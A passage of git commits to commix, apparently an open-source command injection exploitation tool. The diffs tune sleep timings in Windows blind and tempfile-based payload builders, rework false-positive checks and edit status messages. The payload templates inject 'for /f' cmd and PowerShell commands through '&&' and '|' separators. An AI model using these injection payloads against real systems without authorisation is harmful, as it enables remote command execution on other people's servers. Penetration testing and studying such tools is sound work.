"\"" ) else: @@ -261,7 +261,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : @@ -271,7 +271,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: @@ -339,7 +339,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -348,7 +348,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -426,7 +426,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) @@ -437,7 +437,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: @@ -504,7 +504,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -514,7 +514,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -572,7 +572,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : @@ -582,7 +582,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index bd145f21ef..93681e1dab 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -34,7 +34,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -45,7 +45,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -118,7 +118,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -128,7 +128,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : @@ -204,7 +204,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + # Transform to ASCII pipe + "for /f \"tokens=*\" %x in ('cmd /c \"" + @@ -221,7 +221,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + # Transform to ASCII ampersand + "for /f \"tokens=*\" %x in ('cmd /c \"" + @@ -315,7 +315,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -327,7 +327,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : @@ -399,7 +399,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -409,7 +409,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -475,7 +475,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -484,7 +484,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : @@ -548,7 +548,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -558,7 +558,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -617,7 +617,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -626,7 +626,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: if separator == ";" : diff --git a/src/utils/settings.py b/src/utils/settings.py index 2e1b7f4a7b..f58c19f08e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "95" +REVISION = "96" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From feec735523394c90d43bba79064810f64c1a19d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 29 Jun 2022 07:12:22 +0300 Subject: [PATCH 0174/1023] Minor update --- src/utils/purge.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/utils/purge.py b/src/utils/purge.py index 6c88cffc6a..41d34bfe4c 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -37,12 +37,13 @@ def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): - warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." - print(settings.print_warning_msg(warn_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping purging of directory '" + directory + "' as it does not exist." + print(settings.print_debug_msg(debug_msg)) return info_msg = "Purging content of directory '" + directory + "'" if not settings.VERBOSITY_LEVEL != 0: - info_msg += ". " + info_msg += "." else: info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index f58c19f08e..4698e2f901 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "96" +REVISION = "97" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5b097659506f77859faf782068ce8604a336ac93 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 30 Jun 2022 09:30:31 +0300 Subject: [PATCH 0175/1023] Minor update --- .../blind/techniques/time_based/tb_handler.py | 4 ++-- .../blind/techniques/time_based/tb_injector.py | 7 ++++--- src/core/injections/controller/checks.py | 15 ++++++++------- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 7 ++++--- src/utils/settings.py | 2 +- 6 files changed, 20 insertions(+), 17 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index ae48ada154..e0de2e2f96 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -209,7 +209,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Identified false positive warning message. if false_positive_warning: message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false-positive results. " + message += "requests. This behavior may lead to false positive results. " sys.stdout.write("\r") while True: message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " @@ -258,7 +258,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r original_how_long = how_long # Check for false positive resutls - how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) + how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 31d2dc95da..3f23ab0cbe 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -352,7 +352,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response): +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): if settings.TARGET_OS == "win": previous_cmd = cmd @@ -362,10 +362,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False - checks.check_for_false_positive_result() + checks.check_for_false_positive_result(false_positive_warning) # Varying the sleep time. - timesec = timesec + random.randint(1, 5) + if false_positive_warning: + timesec = timesec + random.randint(3, 5) # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 42707ba15e..be05ce8912 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -386,15 +386,16 @@ def captcha_check(page): """ Checking the reliability of the used payload message. """ -def check_for_false_positive_result(): - info_msg = "Potential injection point has been detected. " - info_msg += "Checking the reliability of the used payload " - info_msg += "in case of a false positive result" +def check_for_false_positive_result(false_positive_warning): + info_msg = "Checking the reliability of the identified injection point " + info_msg += "(in case of false positive result).\n" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" if settings.VERBOSITY_LEVEL != 0: - info_msg = info_msg + ".\n" + warn_msg = warn_msg + ".\n" else: - info_msg = info_msg +", please wait..." - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + warn_msg = warn_msg +", please wait..." + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) """ False positive or unexploitable injection point detected. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 58327d60f2..111d328fe3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -279,7 +279,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, original_how_long = how_long # Check for false positive resutls - how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) + how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 9990b3c32b..5e7cc9dcfe 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -357,7 +357,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response): +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): if settings.TARGET_OS == "win": previous_cmd = cmd @@ -367,10 +367,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" found_chars = False - checks.check_for_false_positive_result() + checks.check_for_false_positive_result(false_positive_warning) # Varying the sleep time. - timesec = timesec + random.randint(1, 5) + if false_positive_warning: + timesec = timesec + random.randint(3, 5) # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4698e2f901..d5fa28d361 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "97" +REVISION = "98" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3deff55bf09a2b9f6663491b8c6dd760ef4a5c9d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Jul 2022 16:46:35 +0300 Subject: [PATCH 0176/1023] Multiple updates --- .../blind/techniques/time_based/tb_handler.py | 9 +--- src/core/injections/controller/checks.py | 4 +- src/core/injections/controller/controller.py | 51 ++++++++----------- .../techniques/classic/cb_handler.py | 10 +--- .../techniques/eval_based/eb_handler.py | 9 +--- .../techniques/file_based/fb_handler.py | 9 +--- .../techniques/tempfile_based/tfb_handler.py | 10 +--- src/core/modules/shellshock/shellshock.py | 2 +- src/utils/settings.py | 11 ++-- 9 files changed, 41 insertions(+), 74 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e0de2e2f96..3053d0d3ef 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -388,13 +388,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -461,7 +456,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index be05ce8912..e0149655bf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -387,8 +387,8 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(false_positive_warning): - info_msg = "Checking the reliability of the identified injection point " - info_msg += "(in case of false positive result).\n" + info_msg = "Checking if the injection point on " + info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" if settings.VERBOSITY_LEVEL != 0: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 286ae2a89f..c6b59dbdc9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -74,8 +74,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS else: basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS - if not header_name == " cookie" and not the_type == " HTTP header": - header_name = " " + str(http_request_method) settings.CLASSIC_STATE = True try: whitespace = settings.WHITESPACES[0] @@ -84,7 +82,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, for payload in basic_payloads: _ = _ + 1 if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - payload = _urllib.parse.quote(payload) + if not any((settings.IS_JSON, settings.IS_XML)): + payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0]) @@ -116,11 +115,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) tests shows that" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - info_msg += the_type + check_parameter + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -150,7 +146,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - payload = _urllib.parse.quote(payload) + if not any((settings.IS_JSON, settings.IS_XML)): + payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) @@ -189,11 +186,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - info_msg += the_type + check_parameter + " might be injectable via " + technique + "." + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -333,11 +327,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" - the_type = " HTTP header" + the_type = "HTTP header" check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: - header_name = " cookie" + header_name = "Cookie" else: header_name = "" the_type = " parameter" @@ -349,15 +343,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) checks.tamper_scripts(stored_tamper_scripts=False) - - info_msg = "Setting" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - if header_name == " cookie" : - info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." + + settings.CHECKING_PARAMETER = "" + if not header_name == "Cookie" and not the_type == "HTTP header": + settings.CHECKING_PARAMETER = str(http_request_method) + settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + if header_name == "Cookie" : + 